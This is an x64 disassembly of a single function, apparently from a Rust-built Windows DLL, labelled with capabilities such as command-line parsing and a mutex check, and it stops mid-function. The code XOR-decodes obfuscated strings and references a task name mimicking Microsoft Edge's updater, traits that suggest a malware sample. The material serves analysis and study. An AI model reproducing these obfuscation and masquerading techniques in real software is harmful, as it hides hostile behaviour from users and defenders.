Function at 0x180001e80
Capabilities:
Accept command line arguments
Check mutex on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x8c8
movdqa xmmword [rsp + 0x8b0], xmm10
movdqa xmmword [rsp + 0x8a0], xmm9
movdqa xmmword [rsp + 0x890], xmm8
movdqa xmmword [rsp + 0x880], xmm7
movdqa xmmword [rsp + 0x870], xmm6
call sub.KERNEL32.dll_GetCommandLineW
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 8
mov qword [rsp + 0x100], 0
test rax, rax
je 0x1800023a3
movzx ebp, word [rax]
test bp, bp
je 0x1800023a3
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x60], 0
add rax, 2
mov ecx, 2
xor edi, edi
lea rsi, [rsp + 0x50]
xor ebx, ebx
jmp 0x180001f4a
mov word [rcx + rdi*2], bp
inc rdi
mov qword [rsp + 0x60], rdi
movzx ebp, word [r13]
lea rax, [r13 + 2]
test bp, bp
je 0x180001fa4
mov r13, rax
cmp bp, 9
je 0x180001f80
movzx eax, bp
cmp eax, 0x20
je 0x180001f80
cmp eax, 0x22
jne 0x180001f85
not bl
and bl, 1
movzx ebp, word [r13]
lea rax, [r13 + 2]
test bp, bp
jne 0x180001f4a
jmp 0x180001fa4
test bl, 1
je 0x180001fa4
cmp rdi, qword [rsp + 0x50]
jne 0x180001f30
mov rcx, rsi
call fcn.18003b3d0
mov rcx, qword [rsp + 0x58]
jmp 0x180001f30
add r13, 2
movzx eax, word [r13]
cmp eax, 0x20
je 0x180001fa0
cmp eax, 9
je 0x180001fa0
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x2e0]
mov qword [rsp + 0x38], rdx
mov r8, rdi
call fcn.1800207f0
lea rcx, [rsp + 0xf0]
call fcn.18002d6f0
mov rax, qword [rsp + 0xf8]
movdqu xmm0, xmmword [rsp + 0x2e0]
movups xmm1, xmmword [rsp + 0x2f0]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x158], 2
mov qword [rsp + 0x160], 0
movzx edi, word [r13]
test di, di
je 0x180002475
mov r12d, 2
xor r15d, r15d
lea r14, [rsp + 0x150]
movdqa xmm6, xmmword [0x180072010]
xor ebx, ebx
jmp 0x180002087
mov r12, qword [rsp + 0x158]
mov word [r12 + r15*2], di
inc r15
mov qword [rsp + 0x160], r15
movzx edi, word [rsi]
mov r13, rsi
test di, di
je 0x180002468
lea rsi, [r13 + 2]
movzx eax, di
cmp eax, 0x21
jg 0x180002150
cmp eax, 9
je 0x1800020a5
cmp eax, 0x20
jne 0x1800021d0
test bl, 1
jne 0x1800021d0
mov r12, qword [rsp + 0x158]
lea rcx, [rsp + 0x2e0]
mov rdx, r12
mov r8, r15
call fcn.1800207f0
mov rdi, qword [rsp + 0x100]
cmp rdi, qword [rsp + 0xf0]
jne 0x1800020e8
lea rcx, [rsp + 0xf0]
call fcn.18002d6f0
mov rax, qword [rsp + 0xf8]
mov rcx, rdi
shl rcx, 5
movdqu xmm0, xmmword [rsp + 0x2e0]
movups xmm1, xmmword [rsp + 0x2f0]
movups xmmword [rax + rcx + 0x10], xmm1
movdqu xmmword [rax + rcx], xmm0
inc rdi
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0x160], 0
jmp 0x180002134
add rsi, 2
movzx edi, word [rsi]
cmp edi, 0x20
je 0x180002130
cmp edi, 9
je 0x180002130
xor r15d, r15d
jmp 0x18000207b
cmp eax, 0x22
je 0x1800021eb
cmp eax, 0x5c
jne 0x1800021d0
movzx eax, word [rsi]
xor edi, edi
cmp ax, 0x5c
jne 0x180002183
nop dword [rax]
add rsi, 2
movzx eax, word [r13 + rdi*2 + 4]
inc rdi
cmp ax, 0x5c
je 0x180002170
lea r13, [rdi + 1]
cmp ax, 0x22
jne 0x1800021f7
mov rbp, r13
shr rbp, 1
mov rax, qword [rsp + 0x150]
sub rax, r15
cmp rax, rbp
jae 0x180002249
mov rcx, r14
mov rdx, r15
mov r8, rbp
call fcn.180021fa0
mov r15, qword [rsp + 0x160]
jmp 0x18000224f
cmp r15, qword [rsp + 0x150]
jne 0x180002060
mov rcx, r14
call fcn.18003b3d0
jmp 0x180002060
test bl, 1
jne 0x18000222e
mov bl, 1
jmp 0x180002078
mov rax, qword [rsp + 0x150]
sub rax, r15
cmp rax, r13
jae 0x1800022f8
mov rcx, r14
mov rdx, r15
mov r8, r13
call fcn.180021fa0
mov r12, qword [rsp + 0x158]
mov r15, qword [rsp + 0x160]
jmp 0x180002301
movzx edi, word [rsi]
cmp edi, 0x22
je 0x180002364
test edi, edi
je 0x1800024ab
xor ebx, ebx
jmp 0x18000207b
cmp r13, 2
jb 0x1800022af
mov r12, qword [rsp + 0x158]
cmp r13, 0x20
jb 0x1800022a0
movabs rax, 0x8000000000000000
add rax, 0xfffffffffffffff0
and rax, rbp
lea rcx, [r12 + r15*2]
add rcx, 0x10
add r15, rax
xor edx, edx
nop dword [rax + rax]
movdqu xmmword [rcx + rdx*2 - 0x10], xmm6
movdqu xmmword [rcx + rdx*2], xmm6
add rdx, 0x10
cmp rax, rdx
jne 0x180002280
cmp rbp, rax
je 0x1800022af
and ebp, 0xf
nop dword [rax]
mov word [r12 + r15*2], 0x5c
inc r15
dec rbp
jne 0x1800022a0
mov qword [rsp + 0x160], r15
test dil, 1
jne 0x180002078
xor edi, edi
cmp word [rsi], 0
setne bpl
cmp r15, qword [rsp + 0x150]
jne 0x1800022dd
mov rcx, r14
call fcn.18003b3d0
mov dil, bpl
lea rsi, [rsi + rdi*2]
mov r12, qword [rsp + 0x158]
mov word [r12 + r15*2], 0x22
jmp 0x18000206d
test r13, r13
je 0x180002070
cmp r13, 0x10
jb 0x180002350
mov rax, r13
and rax, 0xfffffffffffffff0
lea rcx, [r12 + r15*2]
add rcx, 0x10
add r15, rax
xor edx, edx
nop dword [rax + rax]
movdqu xmmword [rcx + rdx*2 - 0x10], xmm6
movdqu xmmword [rcx + rdx*2], xmm6
add rdx, 0x10
cmp rax, rdx
jne 0x180002320
cmp r13, rax
je 0x180002070
and r13d, 0xf
nop word cs:[rax + rax]
mov word [r12 + r15*2], 0x5c
inc r15
dec r13
jne 0x180002350
jmp 0x180002070
cmp r15, qword [rsp + 0x150]
jne 0x180002376
mov rcx, r14
call fcn.18003b3d0
mov r12, qword [rsp + 0x158]
mov word [r12 + r15*2], 0x22
inc r15
mov qword [rsp + 0x160], r15
lea rax, [r13 + 4]
cmp word [r13 + 2], 0
cmovne rsi, rax
jmp 0x180002078
lea rcx, [rsp + 0x2e0]
call fcn.18003cb20
mov r14, qword [rsp + 0x2e0]
mov rsi, qword [rsp + 0x2e8]
movabs rax, 0x8000000000000000
cmp r14, rax
jne 0x1800023f3
mov qword [rsp + 0x2e0], rsi
lea rcx, [rsp + 0x2e0]
call fcn.18001c870
mov esi, 1
mov bl, 1
xor r15d, r15d
xor r14d, r14d
jmp 0x18000241f
mov r15, qword [rsp + 0x2f0]
movzx ebx, byte [rsp + 0x2f8]
mov eax, dword [rsp + 0x2f9]
mov dword [rsp + 0x150], eax
mov eax, dword [rsp + 0x2fc]
mov dword [rsp + 0x153], eax
lea rcx, [rsp + 0xf0]
call fcn.18002d6f0
mov rdi, qword [rsp + 0xf8]
mov qword [rdi], r14
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], r15
mov byte [rdi + 0x18], bl
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x153]
mov dword [rdi + 0x1c], ecx
mov dword [rdi + 0x19], eax
mov rbx, qword [rsp + 0xf0]
mov esi, 1
jmp 0x180002553
test bl, 1
sete al
test r15, r15
je 0x18000247f
jmp 0x1800024ab
mov al, 1
xor r15d, r15d
test r15, r15
jne 0x1800024ab
test al, al
je 0x1800024ab
mov rdi, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0x100]
mov rbx, qword [rsp + 0xf0]
cmp qword [rsp + 0x150], 0
jne 0x180002522
jmp 0x180002538
mov rdx, qword [rsp + 0x158]
lea rcx, [rsp + 0x2e0]
mov r8, r15
call fcn.1800207f0
mov rsi, qword [rsp + 0x100]
cmp rsi, qword [rsp + 0xf0]
jne 0x1800024e2
lea rcx, [rsp + 0xf0]
call fcn.18002d6f0
mov rdi, qword [rsp + 0xf8]
mov rax, rsi
shl rax, 5
movdqu xmm0, xmmword [rsp + 0x2e0]
movups xmm1, xmmword [rsp + 0x2f0]
movups xmmword [rdi + rax + 0x10], xmm1
movdqu xmmword [rdi + rax], xmm0
inc rsi
mov rbx, qword [rsp + 0xf0]
cmp qword [rsp + 0x150], 0
je 0x180002538
mov r8, qword [rsp + 0x158]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x50], 0
je 0x180002553
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0x38]
call sub.KERNEL32.dll_HeapFree
shl rsi, 5
add rsi, rdi
mov qword [rsp + 0x2c0], rdi
mov qword [rsp + 0x2c8], rdi
mov qword [rsp + 0x2d0], rbx
mov qword [rsp + 0x2d8], rsi
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x2c0]
call fcn.18003cdf0
mov r14, qword [rsp + 0x2e0]
movabs rax, 0x8000000000000000
cmp r14, rax
jne 0x180002618
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x248], 8
mov qword [rsp + 0x250], 0
mov rsi, qword [rsp + 0x2c8]
mov rdi, qword [rsp + 0x2d8]
sub rdi, rsi
shr rdi, 5
add rsi, 8
jmp 0x1800025f4
add rsi, 0x20
sub rdi, 1
jb 0x18000276e
cmp qword [rsi - 8], 0
je 0x1800025f0
mov r8, qword [rsi]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x1800025f0
mov rsi, qword [rsp + 0x2e8]
mov rax, qword [rsp + 0x2d8]
sub rax, qword [rsp + 0x2c8]
mov rcx, rax
shr rcx, 5
cmp rcx, 4
mov r15d, 3
cmovae r15, rcx
movabs rcx, 0xaaaaaaaaaaaaaa80
lea rdx, [r15*8 + 8]
lea rbx, [rdx + rdx*2]
cmp rax, rcx
ja 0x180007314
mov r12, qword [rsp + 0x2f0]
movzx eax, byte [0x1800a40a8]
xor ecx, ecx
mov rdx, rbx
call fcn.18004b1f0
test rax, rax
je 0x180007318
mov rdi, rax
inc r15
mov qword [rax], r14
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r12
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
movups xmm0, xmmword [rsp + 0x2c0]
movups xmm1, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
mov esi, 1
mov r13d, 0x28
lea rbx, [rsp + 0x150]
lea r14, [rsp + 0x2e0]
jmp 0x18000270a
mov qword [rdi + r13 - 0x10], rbp
mov qword [rdi + r13 - 8], r12
mov qword [rdi + r13], r15
inc rsi
mov qword [rsp + 0x60], rsi
add r13, 0x18
mov rcx, rbx
mov rdx, r14
call fcn.18003cdf0
mov rbp, qword [rsp + 0x150]
movabs rax, 0x8000000000000000
cmp rbp, rax
je 0x180002798
mov r12, qword [rsp + 0x158]
mov r15, qword [rsp + 0x160]
cmp rsi, qword [rsp + 0x50]
jne 0x1800026f0
mov r8, qword [rsp + 0x2f8]
sub r8, qword [rsp + 0x2e8]
shr r8, 5
inc r8
lea rcx, [rsp + 0x50]
mov rdx, rsi
call fcn.180019a10
mov rdi, qword [rsp + 0x58]
jmp 0x1800026f0
cmp qword [rsp + 0x2d0], 0
je 0x180002821
mov r8, qword [rsp + 0x2c0]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x180002821
mov rsi, qword [rsp + 0x2e8]
mov rdi, qword [rsp + 0x2f8]
sub rdi, rsi
shr rdi, 5
add rsi, 8
jmp 0x1800027c4
add rsi, 0x20
sub rdi, 1
jb 0x1800027e4
cmp qword [rsi - 8], 0
je 0x1800027c0
mov r8, qword [rsi]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x1800027c0
cmp qword [rsp + 0x2f0], 0
je 0x180002805
mov r8, qword [rsp + 0x2e0]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
movdqu xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x250], rax
mov rdi, qword [rsp + 0x248]
mov rbx, qword [rsp + 0x250]
lea rax, [rbx*8]
lea rsi, [rax + rax*2]
lea r15, [rsp + 0x150]
movabs r12, 0xc5d6d53c4f01503f
mov r13, rdi
jmp 0x180002868
add r13, 0x18
add rsi, 0xffffffffffffffe8
test rsi, rsi
je 0x1800029e2
mov rbp, qword [r13 + 8]
mov r14, qword [r13 + 0x10]
lea rax, [0x180088706]
mov qword [rsp + 0x150], rax
mov rcx, qword [rsp + 0x150]
mov dword [rsp + 0x150], 0x73e4e025
mov edx, dword [rsp + 0x150]
call fcn.180019510
mov rcx, qword [rax]
xor rcx, r12
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 4
shr eax, 8
xor al, 0xa
mov qword [rsp + 0x2e0], rcx
mov byte [rsp + 0x2e8], dl
mov byte [rsp + 0x2e9], al
cmp r14, 0xa
jne 0x180002860
mov rax, qword [rbp]
xor rax, qword [rsp + 0x2e0]
movzx ecx, word [rbp + 8]
xor cx, word [rsp + 0x2e8]
movzx ecx, cx
or rcx, rax
jne 0x180002860
lea rax, [0x18008d623]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0xa70e696b
mov edx, dword [rsp + 0x2e0]
call fcn.180019530
mov ecx, 0x54ad99a2
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0xae
mov dword [rsp + 0x50], ecx
mov byte [rsp + 0x54], al
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x50]
mov r8d, 5
call fcn.180008ba0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x150], rax
jne 0x180007397
mov r13, qword [rsp + 0x158]
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x298], rax
xor ecx, ecx
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_CreateMutexA
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
jne 0x180002a3e
mov byte [r13], 0
mov esi, 1
cmp qword [rsp + 0x298], 0
je 0x1800029e4
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
mov rdi, qword [rsp + 0x248]
mov rbx, qword [rsp + 0x250]
jmp 0x1800029e4
xor esi, esi
add rdi, 8
jmp 0x1800029f4
add rdi, 0x18
sub rbx, 1
jb 0x180002a14
cmp qword [rdi - 8], 0
je 0x1800029f0
mov r8, qword [rdi]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x1800029f0
cmp qword [rsp + 0x240], 0
je 0x180006c5a
mov r8, qword [rsp + 0x248]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x180006c5a
lea rcx, [rsp + 0x2e0]
call fcn.180008440
mov rsi, qword [rsp + 0x2e0]
movabs rax, 0x8000000000000000
cmp rsi, rax
je 0x180007429
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x228], rax
lea rcx, [rsp + 0x2e0]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0xb0], rsi
call fcn.180008440
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x8000000000000000
mov qword [rsp + 0x30], rcx
cmp rcx, rax
je 0x180007441
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0xb8], rax
call fcn.18000fcc0
test rax, rax
je 0x18000745e
mov rdi, qword [rax]
inc qword [rdi]
je 0x1800079c1
lea rax, [0x1800850dc]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0xf4d9cfcc
mov edx, dword [rsp + 0x2e0]
call fcn.1800196a0
movabs rcx, 0x3b6f53aaa3a878b5
xor rcx, qword [rax]
movabs rdx, 0x64173531f2551fc7
xor rdx, qword [rax + 8]
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], rdx
lea r8, [rsp + 0x2f0]
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x2e0]
mov qword [rsp + 0x38], rdi
call fcn.18001ab10
lea rax, [0x18008e138]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0xf67de67e
mov edx, dword [rsp + 0x2e0]
call fcn.180019720
movabs rcx, 0xde0534c923516eab
xor rcx, qword [rax]
movabs rdx, 0xceaa33cd6b193867
xor rdx, qword [rax + 8]
movabs r8, 0x6f72f00292a92324
xor r8, qword [rax + 0x10]
movabs r9, 0xf349dd151f27bfdb
xor r9, qword [rax + 0x18]
mov r10d, 0xd5883560
xor r10d, dword [rax + 0x20]
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], rdx
mov qword [rsp + 0x2f0], r8
mov qword [rsp + 0x2f8], r9
mov dword [rsp + 0x300], r10d
lea r8, [rsp + 0x304]
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x2e0]
call fcn.18001ab10
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x160], 0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x140], rax
mov r15, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
test rbp, rbp
je 0x180002e72
mov r12, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xa0], rax
shl rbp, 2
mov esi, 1
xor r14d, r14d
lea rax, str.srclib.rs
mov qword [rsp + 0xe8], rax
xor r13d, r13d
jmp 0x180002cd4
mov rsi, qword [rsp + 0x158]
mov byte [rsi + r13], dil
inc r13
mov qword [rsp + 0x160], r13
add r14, 4
cmp rbp, r14
je 0x180002e72
mov edi, dword [r15 + r14]
cmp edi, 0x77
jg 0x180002cf0
cmp edi, 0x2d
je 0x180002d46
cmp edi, 0x34
je 0x180002d46
jmp 0x18000727d
cmp edi, 0x78
je 0x180002d20
cmp edi, 0x79
jne 0x18000727d
mov edx, 8
mov rcx, qword [rsp + 0x38]
call fcn.18001c340
cmp rax, qword [rsp + 0xa0]
jb 0x180002d3a
jmp 0x180007260
mov rcx, qword [rsp + 0x38]
xor edx, edx
call fcn.18001c340
cmp rax, qword [rsp + 0xa0]
jae 0x180007251
mov edi, dword [r12 + rax*4]
cmp edi, 0x80
jae 0x180002d70
cmp r13, qword [rsp + 0x150]
jne 0x180002cb0
lea rcx, [rsp + 0x150]
call fcn.180019ce0
jmp 0x180002cb0
mov dword [rsp + 0x2e0], 0
mov eax, edi
cmp edi, 0x800
jae 0x180002d9d
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2e0], al
mov ebx, 2
mov eax, 1
jmp 0x180002e03
cmp edi, 0x10000
jae 0x180002dcd
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2e0], al
mov eax, edi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e1], al
mov ebx, 3
mov eax, 2
jmp 0x180002e03
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x2e0], al
mov eax, edi
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e1], al
mov eax, edi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e2], al
mov ebx, 4
mov eax, 3
and dil, 0x3f
or dil, 0x80
mov byte [rsp + rax + 0x2e0], dil
mov rax, qword [rsp + 0x150]
sub rax, r13
cmp rax, rbx
jae 0x180002e46
lea rcx, [rsp + 0x150]
mov rdx, r13
mov r8, rbx
call fcn.180019ad0
mov rsi, qword [rsp + 0x158]
mov r13, qword [rsp + 0x160]
lea rcx, [rsi + r13]
lea rdx, [rsp + 0x2e0]
mov r8, rbx
call sub.msvcrt.dll_memcpy
add r13, rbx
mov qword [rsp + 0x160], r13
add r14, 4
cmp rbp, r14
jne 0x180002cd4
cmp qword [rsp + 0x140], 0
je 0x180002e8e
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x1e0], rax
movdqu xmm0, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x1d0], xmm0
cmp qword [rsp + 0xf0], 0
mov rsi, qword [rsp + 0x38]
je 0x180002ed6
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
dec qword [rsi]
jne 0x180002ef2
dec qword [rsi + 8]
jne 0x180002ef2
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x50], rax
lea rax, [0x180001e10]
mov qword [rsp + 0x58], rax
lea rax, str.MicrosoftEdgeUpdateTaskMachineUA
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], 2
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 1
lea rsi, [rsp + 0x150]
lea rdx, [rsp + 0x2e0]
mov rcx, rsi
call fcn.180008f30
movdqu xmm0, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0xd0], xmm0
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0xe0], rax
lea rax, [0x1800921c0]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0x3f273467
mov edx, dword [rsp + 0x2e0]
call fcn.180019590
movabs rdi, 0x341b9b71ab9d5187
xor rdi, qword [rax]
movabs rbx, 0x47887712a9c681ab
xor rbx, qword [rax + 8]
movabs r14, 0x70d6d7c764286747
xor r14, qword [rax + 0x10]
lea rax, [0x18008d704]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0x6b192be0
mov edx, dword [rsp + 0x2e0]
call fcn.1800196d0
movabs r15, 0x56da0b460282d7bc
xor r15, qword [rax]
movabs r12, 0xcb28b91de1ead37f
xor r12, qword [rax + 8]
movabs r13, 0x133a9e8b5d659418
xor r13, qword [rax + 0x10]
movabs rbp, 0xeb4a13455d90013e
xor rbp, qword [rax + 0x18]
movabs rcx, 0x9443fdfe8d7e1d54
xor rcx, qword [rax + 0x20]
mov qword [rsp + 0xe8], rcx
movabs rcx, 0x93df81fa94754800
xor rcx, qword [rax + 0x28]
mov qword [rsp + 0x280], rcx
movzx eax, byte [rax + 0x30]
mov byte [rsp + 0xae], al
lea rax, [0x180085918]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0xe023441d
mov edx, dword [rsp + 0x2e0]
call fcn.1800194f0
movabs rcx, 0xd17316d33034193a
xor rcx, qword [rax]
mov qword [rsp + 0x2a8], rcx
movabs rcx, 0xb1700bbfc68ccfe7
xor rcx, qword [rax + 8]
mov qword [rsp + 0x2a0], rcx
movabs rcx, 0x86b600e7b0f1c43c
xor rcx, qword [rax + 0x10]
mov qword [rsp + 0x230], rcx
movabs rcx, 0x6cde7dd493f2b5f2
xor rcx, qword [rax + 0x18]
mov qword [rsp + 0x270], rcx
movabs rcx, 0x97573fd4cff120a6
xor rcx, qword [rax + 0x20]
mov qword [rsp + 0xc0], rcx
mov ecx, 0x651d77c2
xor ecx, dword [rax + 0x28]
mov dword [rsp + 0x40], ecx
movzx eax, byte [rax + 0x2c]
mov byte [rsp + 0x268], al
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x310], 0x20
mov byte [rsp + 0x318], 3
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x2f0], 0
mov qword [rsp + 0x300], rsi
lea rax, [0x1800749f0]
mov qword [rsp + 0x308], rax
lea r8, [rsp + 0x2e0]
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xb8]
call fcn.180020c00
mov qword [rsp + 0x2b0], rbp
mov qword [rsp + 0x238], r13
mov qword [rsp + 0x2b8], r12
mov qword [rsp + 0x278], r15
mov qword [rsp + 0x38], rdi
test al, al
jne 0x18000748f
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xa0], rax
mov rdi, qword [rsp + 0x160]
lea rax, [0x1800904b7]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0x3ed5bf47
mov edx, dword [rsp + 0x2e0]
call fcn.180019740
movabs rcx, 0xd7d090055f99924d
xor rcx, qword [rax]
movabs rdx, 0xf845bad47fda0f4d
xor rdx, qword [rax + 8]
movabs r15, 0x7d42afe6acfcb63b
xor r15, qword [rax + 0x10]
mov r13d, 0x3f710c99
xor r13d, dword [rax + 0x18]
movzx ebp, byte [rax + 0x1e]
movzx r12d, word [rax + 0x1c]
mov rsi, rdi
add rsi, 0x76
jb 0x1800073e5
add rsi, 0x1f
jb 0x1800073e5
mov qword [rsp + 0x260], rcx
mov qword [rsp + 0x1e8], rdx
je 0x1800032f6
js 0x1800076e9
movzx eax, byte [0x1800a40a8]
xor ecx, ecx
mov rdx, rsi
call fcn.18004b1f0
test rax, rax
je 0x1800076ed
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], 0
xor edx, edx
jmp 0x18000333f
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x160], 0
lea rcx, [rsp + 0x150]
mov r8d, 0x18
xor edx, edx
call fcn.180019ad0
mov rax, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x38]
mov qword [rax + rdx], rcx
mov qword [rax + rdx + 8], rbx
mov qword [rsp + 0x38], rax
mov qword [rax + rdx + 0x10], r14
lea rcx, [rdx + 0x18]
mov qword [rsp + 0x160], rcx
mov r14, rsi
sub r14, rcx
cmp r14, 0x30
jbe 0x1800072c7
movzx r8d, byte [rsp + 0xae]
xor r8b, 0x4a
mov rax, qword [rsp + 0x38]
lea rbx, [rax + rdx]
add rbx, 0x18
lea rax, [r14 - 0x31]
mov rcx, qword [rsp + 0x278]
mov qword [rbx], rcx
mov rcx, qword [rsp + 0x2b8]
mov qword [rbx + 8], rcx
mov rcx, qword [rsp + 0x238]
mov qword [rbx + 0x10], rcx
mov rcx, qword [rsp + 0x2b0]
mov qword [rbx + 0x18], rcx
mov rcx, qword [rsp + 0xe8]
mov qword [rbx + 0x20], rcx
mov rcx, qword [rsp + 0x280]
mov qword [rbx + 0x28], rcx
mov byte [rbx + 0x30], r8b
cmp rax, 0x2d
jb 0x1800072c7
movzx ecx, byte [rsp + 0x268]
xor cl, 0x30
add r14, 0xffffffffffffffa2
mov rax, qword [rsp + 0x2a8]
mov qword [rbx + 0x31], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rbx + 0x39], rax
mov rax, qword [rsp + 0x230]
mov qword [rbx + 0x41], rax
mov rax, qword [rsp + 0x270]
mov qword [rbx + 0x49], rax
mov rax, qword [rsp + 0xc0]
mov qword [rbx + 0x51], rax
mov eax, dword [rsp + 0x40]
mov dword [rbx + 0x59], eax
mov byte [rbx + 0x5d], cl
sub r14, rdi
jb 0x1800072c7
add rbx, 0x5e
mov rcx, rbx
mov rdx, qword [rsp + 0xa0]
mov r8, rdi
call sub.msvcrt.dll_memcpy
cmp r14, 0x1f
jb 0x1800072c7
mov eax, r12d
shr eax, 8
xor r12b, 0xe8
xor al, 0x5e
xor bpl, 0xa6
mov rcx, qword [rsp + 0x260]
mov qword [rbx + rdi], rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rbx + rdi + 8], rcx
mov qword [rbx + rdi + 0x10], r15
mov dword [rbx + rdi + 0x18], r13d
mov byte [rbx + rdi + 0x1c], r12b
mov byte [rbx + rdi + 0x1d], al
mov byte [rbx + rdi + 0x1e], bpl
mov r12, qword [rsp + 0x150]
cmp qword [rsp + 0x140], 0
je 0x1800034cf
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0xa0]
call sub.KERNEL32.dll_HeapFree
lea rax, [0x180093588]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0x5135870b
mov edx, dword [rsp + 0x2e0]
call fcn.1800195a0
mov rbx, qword [rax]
movzx edi, word [rax + 8]
movzx eax, byte [0x1800a40a8]
mov edx, 0xa
xor ecx, ecx
call fcn.18004b1f0
test rax, rax
je 0x1800074c0
mov ecx, edi
shr ecx, 8
xor cl, 0xbd
xor dil, 0x8b
